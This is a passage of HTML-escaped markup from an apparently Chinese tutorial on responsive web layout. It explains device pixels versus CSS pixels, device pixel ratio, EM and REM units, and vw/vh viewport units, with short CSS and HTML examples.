aria-hidden=\"true\"></i></a>&#x5F00;&#x59CB;&#x4E4B;&#x524D;</h2>\n<p>&#x5728;&#x8BB2;&#x89E3;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x4E4B;&#x524D;&#xFF0C;&#x9700;&#x8981;&#x5148;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x57FA;&#x7840;&#x77E5;&#x8BC6;&#xFF0C;&#x53EA;&#x6709;&#x5BF9;&#x5B83;&#x4EEC;&#x90FD;&#x6709;&#x4E00;&#x5B9A;&#x7684;&#x4E86;&#x89E3;&#xFF0C;&#x624D;&#x80FD;&#x5728;&#x505A;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x65F6;&#x9009;&#x53D6;&#x5408;&#x9002;&#x7684;&#x6280;&#x672F;&#x65B9;&#x6848;&#x3002;</p>\n<h3 id=\"&#x50CF;&#x7D20;\"><a name=\"&#x50CF;&#x7D20;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x50CF;&#x7D20;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x50CF;&#x7D20;\" class=\"plugin-anchor\" href=\"#&#x50CF;&#x7D20;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x50CF;&#x7D20;</h3>\n<p>&#x50CF;&#x7D20;&#x8FD9;&#x4E2A;&#x5355;&#x4F4D;&#x5F88;&#x5E38;&#x89C1;&#xFF0C;&#x6307;&#x7684;&#x662F;&#x56FE;&#x50CF;&#x4E2D;&#x6700;&#x5C0F;&#x7684;&#x5355;&#x4F4D;&#xFF0C;&#x4E00;&#x4E2A;&#x4E0D;&#x53EF;&#x518D;&#x5206;&#x5272;&#x7684;&#x70B9;&#xFF0C;&#x5728;&#x8BA1;&#x7B97;&#x673A;&#x5C4F;&#x5E55;&#x4E0A;&#x4E00;&#x822C;&#x6307;&#x5C4F;&#x5E55;&#x4E0A;&#x7684;&#x4E00;&#x4E2A;&#x5149;&#x70B9;&#x3002;&#x4F8B;&#x5982;&#x5E38;&#x89C1;&#x7684;&#x63CF;&#x8FF0;&#x4E2D; iPhone X &#x7684;&#x5206;&#x8FA8;&#x7387;&#x662F; 1125x2436&#xFF0C;&#x4E00;&#x822C;&#x6307;&#x7684;&#x662F;&#x5728;&#x957F;&#x548C;&#x5BBD;&#x4E0A;&#x50CF;&#x7D20;&#x70B9;&#x7684;&#x4E2A;&#x6570;&#x3002;&#x4F46;&#x662F;&#x5728; Web &#x5F00;&#x53D1;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x77E5;&#x9053; iPhone X &#x7684;&#x50CF;&#x7D20;&#x662F; 375x812&#xFF0C;&#x90A3;&#x4E48;&#x8FD9;&#x53C8;&#x662F;&#x600E;&#x4E48;&#x56DE;&#x4E8B;&#x5462;&#xFF1F;&#x8FD9;&#x91CC;&#x9700;&#x8981;&#x8BB2;&#x5230;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#xFF08;Device Pixels&#xFF09;&#x548C;&#x865A;&#x62DF;&#x50CF;&#x7D20;&#xFF0C;&#x4E5F;&#x53EF;&#x4EE5;&#x53EB; CSS &#x50CF;&#x7D20;&#xFF08;CSS Pixels&#xFF09;&#x6216;&#x8005;&#x903B;&#x8F91;&#x50CF;&#x7D20;&#xFF0C;&#x540E;&#x9762;&#x6211;&#x4EEC;&#x7EDF;&#x4E00;&#x4F7F;&#x7528; CSS &#x50CF;&#x7D20;&#x8FD9;&#x4E2A;&#x79F0;&#x547C;&#xFF0C;&#x5728; Android &#x5F00;&#x53D1;&#x4E2D;&#x53EF;&#x4EE5;&#x53EB;&#x8BBE;&#x5907;&#x65E0;&#x5173;&#x50CF;&#x7D20;&#xFF08;Device Independent Pixel&#xFF0C;&#x7B80;&#x5199; dip&#xFF09;&#x3002;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x5F88;&#x597D;&#x7406;&#x89E3;&#xFF0C;&#x5BF9;&#x5E94;&#x5C4F;&#x5E55;&#x4E0A;&#x5149;&#x70B9;&#x7684;&#x6570;&#x91CF;&#x3002;</p>\n<p>&#x5728;&#x79D1;&#x6280;&#x53D1;&#x5C55;&#x5230;&#x4ECA;&#x5929;&#xFF0C;&#x5C4F;&#x5E55;&#x5206;&#x8FA8;&#x7387;&#x5DF2;&#x7ECF;&#x8FBE;&#x5230;&#x4EBA;&#x773C;&#x65E0;&#x6CD5;&#x533A;&#x5206;&#x5355;&#x4E2A;&#x50CF;&#x7D20;&#x7684;&#x7A0B;&#x5EA6;&#xFF0C;&#x4EBA;&#x773C;&#x65E0;&#x6CD5;&#x5728; iPhone X &#x5BBD;&#x4E0D;&#x5230; 7cm &#x7684;&#x5C4F;&#x5E55;&#x4E0A;&#x6570;&#x51FA; 1125 &#x4E2A;&#x50CF;&#x7D20;&#x70B9;&#x3002;Web &#x5F00;&#x53D1;&#x4EBA;&#x5458;&#x773C;&#x4E2D;&#x7684; 1px &#x53EF;&#x80FD;&#x5BF9;&#x5E94;&#x591A;&#x4E2A;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#xFF0C;Peter-Paul Koch &#x5728;&#x4ED6;&#x7684;&#x535A;&#x6587;&#x4E2D;&#x6709;&#x8BE6;&#x7EC6;&#x7684;&#x8BB2;&#x89E3;&#x300A;<a href=\"https://www.quirksmode.org/blog/archives/2010/04/a_pixel_is_not.html\" target=\"_blank\">A pixel is not a pixel is not a pixel</a>&#x300B;&#x3002;</p>\n<p>&#x6BD4;&#x5982;&#x5728; iPhone X &#x4E0A;&#xFF0C;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x662F; 1125x2436&#xFF0C;&#x800C; CSS &#x50CF;&#x7D20;&#x662F; 375x812&#xFF0C;&#x90A3;&#x4E48;&#x4E00;&#x4E2A; CSS &#x50CF;&#x7D20;&#x5BF9;&#x5E94;&#x7684;&#x662F;&#x957F;&#x548C;&#x5BBD;&#x5404; 3 &#x4E2A;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#xFF0C;9&#x4E2A;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x70B9;&#x3002;</p>\n<pre class=\"language-\"><code>1 css pixel = 3 x 3 device pixels\n</code></pre><p>&#x90A3;&#x4E2A;&#x8FD9;&#x4E2A;&#x6BD4;&#x503C; 3 &#x5C31;&#x662F;&#x6211;&#x4EEC;&#x5E73;&#x65F6;&#x6240;&#x8BF4;&#x7684;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x6BD4;&#xFF08;Device Pixel Ratio&#xFF09;&#xFF0C;&#x7B80;&#x79F0;&#x4E3A; DPR&#x3002;DPR &#x5B83;&#x5E76;&#x4E0D;&#x662F;&#x4E00;&#x4E2A;&#x5355;&#x4F4D;&#xFF0C;&#x800C;&#x662F;&#x4E00;&#x4E2A;&#x6BD4;&#x503C;&#xFF0C;&#x8FD9;&#x4E2A;&#x6BD4;&#x503C;&#x53EF;&#x4EE5;&#x5728;&#x6D4F;&#x89C8;&#x5668;&#x4E2D;&#x901A;&#x8FC7; JavaScript &#x4EE3;&#x7801;&#x83B7;&#x53D6;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token comment\">// &#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x6BD4;&#xFF0C;&#x5728; iPhone X &#x4E2D;&#x7B49;&#x4E8E; 3&#xFF0C;&#x5728; iPhone 6 &#x4E2D;&#x7B49;&#x4E8E; 2</span>\nwindow<span class=\"token punctuation\">.</span>devicePixelRatio\n</code></pre>\n<h3 id=\"em-vs-rem\"><a name=\"em-vs-rem\" class=\"anchor-navigation-ex-anchor\" href=\"#em-vs-rem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"em-vs-rem\" class=\"plugin-anchor\" href=\"#em-vs-rem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>EM vs REM</h3>\n<h4 id=\"em\"><a name=\"em\" class=\"anchor-navigation-ex-anchor\" href=\"#em\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"em\" class=\"plugin-anchor\" href=\"#em\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>EM</h4>\n<p>EM &#x662F;&#x76F8;&#x5BF9;&#x5355;&#x4F4D;&#xFF0C;&#x76F8;&#x5BF9;&#x4E8E;&#x5143;&#x7D20;&#x81EA;&#x8EAB;&#x7684; <code>font-size</code>&#xFF0C;&#x5B83;&#x4E0D;&#x50CF;&#x50CF;&#x7D20;&#x662F;&#x56FA;&#x5B9A;&#x7684;&#x5355;&#x4F4D;&#xFF0C;&#x56E0;&#x6B64;&#x5F88;&#x9002;&#x5408;&#x7528;&#x6765;&#x505A;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n<span class=\"token selector\">h1</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 20px<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">margin</span><span class=\"token punctuation\">:</span> 1em<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1em = 20px */</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">p</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 14px<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">padding</span><span class=\"token punctuation\">:</span> 1em<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1em = 14px */</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.outer</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 12px<span class=\"token punctuation\">;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">.inner</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 2em<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">padding</span><span class=\"token punctuation\">:</span> 1em<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1em = 24px*/</span>\n<span class=\"token punctuation\">}</span>\n</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>outer<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>div</span> <span class=\"token attr-name\">class</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>inner<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>div</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x5982;&#x679C;&#x5F53;&#x524D;&#x5143;&#x7D20;&#x6CA1;&#x6709;&#x8BBE;&#x7F6E; <code>font-size</code>&#xFF0C;&#x90A3;&#x4E48; 1em &#x5B9E;&#x9645;&#x5927;&#x5C0F;&#x662F;&#x591A;&#x5C11;&#xFF1F;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token selector\">p</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">padding</span><span class=\"token punctuation\">:</span> 1em<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1em &#x7B49;&#x4E8E;&#x591A;&#x5C11;&#x50CF;&#x7D20;*/</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5728;&#x4E0A;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x4E2D;&#x6CA1;&#x6709;&#x8BBE;&#x7F6E; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7684; <code>font-size</code>&#xFF0C;&#x5B83;&#x4F1A;&#x4ECE;&#x7EE7;&#x627F;&#x7236;&#x5143;&#x7D20;&#x7684;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#xFF0C;&#x5982;&#x679C;&#x7236;&#x5143;&#x7D20;&#x4E5F;&#x6CA1;&#x6709;&#x8BBE;&#x7F6E;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#xFF0C;&#x4F1A;&#x4E00;&#x76F4;&#x627E;&#x5230;&#x6839;&#x5143;&#x7D20; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;&#x800C; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span></code> &#x5143;&#x7D20;&#x7684;&#x9ED8;&#x8BA4; <code>font-size</code> &#x4E00;&#x822C;&#x662F; 16px&#x3002;&#x6709;&#x7684;&#x5143;&#x7D20;&#x6709;&#x9ED8;&#x8BA4;&#x7684;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#xFF0C;&#x6BD4;&#x5982; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>h1</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7684; <code>font-size</code> &#x9ED8;&#x8BA4;&#x7B49;&#x4E8E; 2em&#xFF0C;&#x6700;&#x7EC8;&#x8BA1;&#x7B97;&#x8FD8;&#x662F;&#x4F1A;&#x8FFD;&#x6EAF;&#x5230;&#x6700;&#x5916;&#x5C42;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span>1em = 16px<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>p</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<h4 id=\"rem\"><a name=\"rem\" class=\"anchor-navigation-ex-anchor\" href=\"#rem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"rem\" class=\"plugin-anchor\" href=\"#rem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>REM</h4>\n<p>REM = Root EM&#xFF0C;&#x987E;&#x540D;&#x601D;&#x4E49;&#x5C31;&#x662F;&#x76F8;&#x5BF9;&#x4E8E;&#x6839;&#x5143;&#x7D20;&#x7684; EM&#xFF0C;&#x662F;&#x6839;&#x636E;&#x6839;&#x5143;&#x7D20;&#x6765;&#x8BA1;&#x7B97;&#x51FA;CSS &#x50CF;&#x7D20;&#x70B9;&#x7684;&#x5927;&#x5C0F;&#x3002;&#x6839;&#x5143;&#x7D20;&#x5C31;&#x662F; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span></code>&#xFF0C;&#x800C;&#x5B83;&#x7684;&#x9ED8;&#x8BA4;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#x662F; 16px&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token selector\">h1</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 20px<span class=\"token punctuation\">;</span>\n  <span class=\"token property\">margin</span><span class=\"token punctuation\">:</span> 1rem<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1rem = 16px */</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">p</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token property\">font-size</span><span class=\"token punctuation\">:</span> 1rem<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1rem = 16px */</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x6240;&#x4EE5;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x6539;&#x53D8;&#x6839;&#x5143;&#x7D20;&#x7684;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#xFF0C;&#x9875;&#x9762;&#x4E0A;&#x6240;&#x6709;&#x4F7F;&#x7528; rem &#x7684;&#x5143;&#x7D20;&#x90FD;&#x4F1A;&#x88AB;&#x91CD;&#x65B0;&#x8BA1;&#x7B97;&#x5143;&#x7D20;&#x5C5E;&#x6027;&#x5E76;&#x91CD;&#x7ED8;&#x3002;</p>\n<h4 id=\"em-vs-rem_1\"><a name=\"em-vs-rem_1\" class=\"anchor-navigation-ex-anchor\" href=\"#em-vs-rem_1\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"em-vs-rem\" class=\"plugin-anchor\" href=\"#em-vs-rem\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>EM vs REM</h4>\n<p>EM &#x548C; REM &#x90FD;&#x662F;&#x76F8;&#x5BF9;&#x5355;&#x4F4D;&#xFF0C;&#x4E24;&#x8005;&#x90FD;&#x53EF;&#x4EE5;&#x7528;&#x6765;&#x505A;&#x54CD;&#x5E94;&#x5F0F;&#x5E03;&#x5C40;&#x7684;&#x5355;&#x4F4D;&#x3002;&#x6839;&#x636E;&#x5B83;&#x4EEC;&#x7684;&#x7279;&#x6027;&#xFF0C;EM &#x548C; REM &#x4E92;&#x6709;&#x4F18;&#x52A3;&#x3002;</p>\n<ul>\n<li>EM - &#x5BF9;&#x4E8E;&#x6A21;&#x5757;&#x5316;&#x7684;&#x9875;&#x9762;&#x5143;&#x7D20;&#x6BD4;&#x8F83;&#x597D;&#xFF0C;&#x6BD4;&#x5982; Web Components &#x6807;&#x7B7E;&#xFF0C;&#x6807;&#x7B7E;&#x5185;&#x7684;&#x5143;&#x7D20;&#x90FD;&#x6839;&#x636E;&#x7236;&#x5143;&#x7D20;&#x8BA1;&#x7B97;&#x50CF;&#x7D20;&#x5927;&#x5C0F;&#xFF0C;&#x53EA;&#x9700;&#x8BBE;&#x7F6E;&#x6700;&#x5916;&#x5C42;&#x7236;&#x5143;&#x7D20;&#x7684;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#x53EF;&#x540C;&#x65F6;&#x5F71;&#x54CD;&#x5B50;&#x5143;&#x7D20;&#xFF0C;&#x4FDD;&#x6301;&#x81EA;&#x5B9A;&#x4E49;&#x5143;&#x7D20;&#x5177;&#x6709;&#x4E00;&#x5B9A;&#x7684;&#x6A21;&#x5757;&#x5C01;&#x95ED;&#x6027;&#x3002;&#x4F46;&#xFF0C;EM &#x6BD4;&#x8F83;&#x96BE;&#x4EE5;&#x8FFD;&#x6EAF;&#xFF0C;&#x9700;&#x8981;&#x9010;&#x5C42;&#x5411;&#x4E0A;&#x6392;&#x67E5;&#x663E;&#x793A;&#x8BBE;&#x7F6E;&#x4E86;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#x7684;&#x5143;&#x7D20;&#x3002;</li>\n<li>REM - &#x65B9;&#x4FBF;&#x662F; REM &#x6700;&#x5927;&#x7684;&#x597D;&#x5904;&#xFF0C;&#x53EA;&#x9700;&#x77E5;&#x9053; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span></code> &#x7684;&#x5B57;&#x4F53;&#x5927;&#x5C0F;&#x5373;&#x53EF;&#x8BA1;&#x7B97;&#x5F53;&#x524D;&#x7684;&#x5B9E;&#x9645;&#x50CF;&#x7D20;&#x5927;&#x5C0F;&#x3002;</li>\n</ul>\n<p>&#x6709;&#x7684;&#x5F00;&#x53D1;&#x8005;&#x5168;&#x90E8;&#x90FD;&#x7528; REM&#xFF0C;&#x6709;&#x4E9B;&#x5F00;&#x53D1;&#x8005;&#x5168;&#x90E8;&#x7528; EM&#xFF0C;&#x8FD9;&#x5176;&#x5B9E;&#x90FD;&#x662F;&#x4E0D;&#x5408;&#x7406;&#x7684;&#x7528;&#x6CD5;&#x3002;&#x5F00;&#x53D1;&#x8005;&#x5E94;&#x8BE5;&#x89C6;&#x60C5;&#x51B5;&#x4E0D;&#x540C;&#x91C7;&#x7528;&#x4E0D;&#x540C;&#x7684;&#x5355;&#x4F4D;&#xFF0C;&#x4F46;&#x5728;&#x73B0;&#x5728;&#x7684;&#x73AF;&#x5883;&#x4E0B;&#xFF0C;REM &#x4F7F;&#x7528;&#x7684;&#x66F4;&#x5E7F;&#x6CDB;&#x4E00;&#x4E9B;&#x3002;</p>\n<p>&#x5F00;&#x53D1;&#x8005;&#x6839;&#x636E;&#x8BBE;&#x8BA1;&#x5E08;&#x63D0;&#x4F9B;&#x7684; UE &#x56FE;&#x8FDB;&#x884C;&#x5F00;&#x53D1;&#x65F6;&#xFF0C;&#x6D4B;&#x91CF;&#x51FA;&#x6765;&#x7684;&#x5927;&#x5C0F;&#x5355;&#x4F4D;&#x4E00;&#x822C;&#x662F;&#x50CF;&#x7D20;&#xFF0C;&#x5982;&#x679C;&#x9700;&#x8981;&#x8F6C;&#x6362;&#x4E3A; REM&#xFF0C;&#x53EF;&#x4EE5;&#x91C7;&#x7528; PostCSS &#x7684;&#x63D2;&#x4EF6; <code>postcss-px2rem</code> &#x81EA;&#x52A8;&#x8F6C;&#x6362;&#x4E3A; rem &#x5355;&#x4F4D;&#x3002;</p>\n<h3 id=\"vw-vh&#xFF0C;&#x767E;&#x5206;&#x6BD4;\"><a name=\"vw-vh&#xFF0C;&#x767E;&#x5206;&#x6BD4;\" class=\"anchor-navigation-ex-anchor\" href=\"#vw-vh&#xFF0C;&#x767E;&#x5206;&#x6BD4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"vw-vh&#xFF0C;&#x767E;&#x5206;&#x6BD4;\" class=\"plugin-anchor\" href=\"#vw-vh&#xFF0C;&#x767E;&#x5206;&#x6BD4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><code>vw</code>, <code>vh</code>&#xFF0C;&#x767E;&#x5206;&#x6BD4;</h3>\n<h4 id=\"vw-&#x548C;-vh\"><a name=\"vw-&#x548C;-vh\" class=\"anchor-navigation-ex-anchor\" href=\"#vw-&#x548C;-vh\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"vw-&#x548C;-vh\" class=\"plugin-anchor\" href=\"#vw-&#x548C;-vh\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><code>vw</code> &#x548C; <code>vh</code></h4>\n<p>vw &#x548C; vh &#x73B0;&#x5728;&#x8FD8;&#x4E0D;&#x5E38;&#x89C1;&#xFF0C;&#x4F46;&#x4E5F;&#x9010;&#x6E10;&#x5F00;&#x59CB;&#x88AB;&#x5F00;&#x53D1;&#x8005;&#x4F7F;&#x7528;&#xFF0C;&#x7279;&#x522B;&#x662F;&#x5728;&#x5E03;&#x5C40;&#x4E0A;&#x3002;</p>\n<ul>\n<li>vw - viewport width&#xFF0C;&#x89C6;&#x53E3;&#x5BBD;&#x5EA6;&#xFF0C;1vw = 1% &#x89C6;&#x53E3;&#x5BBD;&#x5EA6;</li>\n<li>vh - viewport height&#xFF0C;&#x89C6;&#x53E3;&#x9AD8;&#x5EA6;&#xFF0C;1vh = 1% &#x89C6;&#x53E3;&#x9AD8;&#x5EA6;</li>\n</ul>\n<p>vw &#x548C; vh &#x7684;&#x903B;&#x8F91;&#x6BD4;&#x8F83;&#x7B80;&#x5355;&#xFF0C;100vw = 100% &#x89C6;&#x53E3;&#x5BBD;&#x5EA6;&#xFF0C;&#x89C6;&#x53E3;&#xFF08;viewport&#xFF09;&#x4F1A;&#x5728;&#x540E;&#x9762;&#x8BE6;&#x7EC6;&#x8BB2;&#x89E3;&#x3002;&#x4E0B;&#x9762;&#x7684;&#x4EE3;&#x7801;&#x6F14;&#x793A;&#x5982;&#x4F55;&#x5728; iPhone X &#x4E0A;&#x8BA1;&#x7B97; vw &#x7684;&#x5B9E;&#x9645; CSS &#x50CF;&#x7D20;&#x5927;&#x5C0F;&#xFF0C;vh &#x7684;&#x8BA1;&#x7B97;&#x65B9;&#x6CD5;&#x548C; vw &#x4E00;&#x6837;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>meta</span> <span class=\"token attr-name\">name</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>viewport<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">content</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>width=device-width, initial-scale=1<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>style</span><span class=\"token punctuation\">&gt;</span></span><span class=\"token style\"><span class=\"token language-css\">\n  <span class=\"token selector\">p</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token property\">width</span><span class=\"token punctuation\">:</span> 50vw<span class=\"token punctuation\">;</span> <span class=\"token comment\">/* 1vw = 1 / 100 * 375px = 3.75px */</span>\n  <span class=\"token punctuation\">}</span>\n  </span></span><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>style</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>head</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n  <span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>p</span><span class=\"token punctuation\">&gt;</span></span>50vw = 50% viewport width = 50% * 375px = 187.5px<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>p</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>body</span><span class=\"token punctuation\">&gt;</span></span>\n<span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;/</span>html</span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x6D4F;&#x89C8;&#x5668;&#x5BF9; vw &#x548C; vh &#x652F;&#x6301;&#x76F8;&#x5BF9;&#x8F83;&#x665A;&#xFF0C;&#x76EE;&#x524D;&#x5728; Android 4.4 &#x4EE5;&#x4E0B;&#x7684; Android Browser &#x4E0A;&#x8FD8;&#x4E0D;&#x652F;&#x6301;&#xFF0C;&#x4F46;&#x662F;&#x56FD;&#x5185;&#x4E3B;&#x6D41;&#x5E94;&#x7528;&#x7684; WebView &#x5185;&#x6838;&#x90FD;&#x662F;&#x81EA;&#x5DF1;&#x5B9A;&#x5236;&#x7684;&#xFF0C;&#x5185;&#x6838;&#x7248;&#x672C;&#x90FD;&#x9AD8;&#x4E8E;&#x7CFB;&#x7EDF;&#x81EA;&#x5E26;&#x7684;&#xFF0C;&#x56E0;&#x6B64;&#x5728;&#x56FD;&#x5185; vw &#x548C; vh &#x7684;&#x652F;&#x6301;&#x5EA6;&#x6BD4; Can I Use &#x7EDF;&#x8BA1;&#x7684;&#x8981;&#x9AD8;&#x5F88;&#x591A;&#xFF0C;&#x800C;&#x4E14;&#x968F;&#x7740;&#x7248;&#x672C;&#x7684;&#x63A8;&#x79FB;&#xFF0C;vw &#x548C; vh &#x4F1A;&#x66F4;&#x6D41;&#x884C;&#x3002;</p>\n<p><img src=\"img/vw_vh_compability.png\" alt=\"Can I Use &#x7EDF;&#x8BA1;&#x7684; vw &#x548C; vh &#x652F;&#x6301;&#x5EA6;&#x5217;&#x8868;\"></p>\n<h4 id=\"vw-vh-vs-&#x767E;&#x5206;&#x6BD4;\"><a name=\"vw-vh-vs-&#x767E;&#x5206;&#x6BD4;\" class=\"anchor-navigation-ex-anchor\" href=\"#vw-vh-vs-&#x767E;&#x5206;&#x6BD4;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"vw-vh-vs-&#x767E;&#x5206;&#x6BD4;\" class=\"plugin-anchor\" 